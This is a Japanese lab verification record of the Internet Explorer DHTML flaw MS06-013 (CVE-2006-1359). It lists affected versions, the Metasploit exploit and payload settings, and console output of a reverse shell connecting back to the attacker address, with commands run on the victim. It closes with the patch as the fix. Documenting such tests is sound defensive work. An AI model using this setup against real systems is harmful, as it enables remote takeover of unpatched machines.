MS06-013:DHTML メソッド コール メモリの破壊の脆弱性

• 2006/04/13　内容をMS06-013に適用
  • Author grin

• 2006/03/29　初版
  • Author grin

• 2006/3/29現在、パッチ提供なしの0day
• 任意のコードを実行可能
• 今回の検証では攻撃元IPアドレスにコネクトバックさせる

• Microsoft Windows 2000 Service Pack 4 上の Internet Explorer 5.01 Service Pack 4
• Microsoft Windows 2000 Service Pack 4 上の Internet Explorer 6 Service Pack 1 または Microsoft Windows XP Service Pack 1 上の Internet Explorer 6 Service Pack 1
• Microsoft Windows XP Service Pack 2 用の Internet Explorer 6
• Microsoft Windows Server 2003 および Microsoft Windows Server 2003 Service Pack 1 用の Internet Explorer 6
• Microsoft Windows Server 2003 for Itanium-based Systems 用の Internet Explorer 6 および Service Pack 1 を適用した Microsoft Windows Server 2003 for Itanium-based Systems 用の Internet Explorer 6
• Microsoft Windows Server 2003 x64 Edition 用の Internet Explorer 6
• Microsoft Windows XP Professional x64 Edition 用の Internet Explorer 6
• Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE)、Microsoft Windows Millennium Edition (ME) 上の Internet Explorer 6 Service Pack 1

• Microsoft::Microsoft Windows のセキュリティ修正プログラム
• Microsoft::マイクロソフト セキュリティ アドバイザリ
• CVE-2006-1359

• WindowsXP SP2 日本語版（フルパッチ）

• 攻撃先IPアドレス: 192.168.1.100（PC名 victim）
• 攻撃元IPアドレス: 192.168.1.40

• 攻撃先PC上のIEで脆弱性を利用するサイトへアクセス

[*] Starting Reverse Handler.
[*] Waiting for connections to http://192.168.1.40:8888 ...
 *****useragent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CL 1.1.4322)

[*] HTTP Client connected from 192.168.1.100:1044 using Windows XP, sending paylad...
[*] Got connection from 192.168.1.40:4321 <-> 192.168.1.100:1045

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\デスクトップ>whoami
whoami
VICTIM\Administrator

C:\Documents and Settings\Administrator\デスクトップ>hostname
hostname
victim

C:\Documents and Settings\Administrator\デスクトップ>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter ローカル エリア接続:

        Connection-specific DNS Suffix  . : not-defined
        IP Address. . . . . . . . . . . . : 192.168.1.100
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.1

C:\Documents and Settings\Administrator\デスクトップ>

1. MS06-0013 パッチの適用 (Windows Update の実施)

今回のExploitはMetasploitを使用しました。 この検証記録に使用した設定内容は以下の通りです。

Exploit and Payload Options
===========================

  Exploit:    Name        Default         Description
  --------    --------    ------------    ----------------------------
  optional    HTTPHOST    192.168.1.40    The local HTTP listener host
  required    HTTPPORT    8888            The local HTTP listener port

  Payload:    Name        Default         Description
  --------    --------    ------------    ------------------------------------------
  required    EXITFUNC    seh             Exit technique: "process", "thread", "seh"
  required    LHOST       192.168.1.40    Local address to receive connection
  required    LPORT       4321            Local port to receive connection

  Target: Automatic - Windows 2000, Windows XP